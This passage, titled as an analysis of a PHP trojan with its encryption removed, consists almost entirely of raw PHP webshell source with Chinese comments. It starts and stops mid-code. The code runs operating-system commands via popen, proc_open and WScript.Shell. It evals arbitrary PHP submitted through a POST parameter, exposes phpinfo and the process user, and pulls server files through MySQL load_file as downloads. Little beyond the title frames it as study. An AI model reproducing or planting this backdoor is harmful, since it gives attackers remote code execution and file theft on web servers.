php 木马的分析(加密破解)

elseif(is_resource($output=popen($command,"r"))) {while(!feof($output)){$exec= fgets($output);}pclose($output);}
elseif(is_resource($res=proc_open($command,$dep,$pipes))){while(!feof($pipes[1])){$line = fgets($pipes[1]); $output.=$line;}$exec= $output;proc_close($res);}
elseif ($windows && is_object($ws = new COM("WScript.Shell"))){$dir=(isset($_SERVER["TEMP"]))?$_SERVER["TEMP"]:ini_get('upload_tmp_dir') ;$name = $_SERVER["TEMP"].namE();$ws->Run("cmd.exe /C $command >$name", 0, true);$exec = file_get_contents($name);unlink($name);}
return $exec;
}
// 查看PHPINFO
if ($_GET['action'] == "phpinfo") {echo $phpinfo=(!eregi("phpinfo",$dis_func)) ? phpinfo() : "phpinfo() 函数已被禁用,请查看<PHP环境变量>";exit;
}if($_GET['action'] == "nowuser") {$user = get_current_user();
if(!$user) $user = "报告长官，主机变态，无法获取当前进行用户名！";
echo"当前进程用户名：$user";
exit;
}
if(isset($_POST['phpcode'])){eval("?".">$_POST[phpcode]<?");exit;
}
if($action=="mysqldown"){
    $link=@mysql_connect($host,$user,$password);
    if (!$link) {
        $downtmp = '数据库连接失败: ' . mysql_error();
    }else{
    $query="select load_file('".$filename."');";
    $result = @mysql_query($query, $link);
    if(!$result){
        $downtmp = "读取失败，可能是文件不存在或是没file权限。<br>".mysql_error();
            }else{
    while ($row = mysql_fetch_array($result)) {
        $filename = basename($filename);
        if($rardown=="yes"){
            $zip = NEW Zip;
            $zipfiles[]=Array("$filename",$row[0]);
            $zip->Add($zipfiles,1);
            $code = $zip->get_file();
            $filename = "".$filename.".rar";
        }else{
            $code = $row[0];
        }
        header("Content-type: application/octet-stream");
        header("Accept-Ranges: bytes");
        header("Accept-Length: ".strlen($code));
        header("Content-Disposition: attachment;filename=$filename");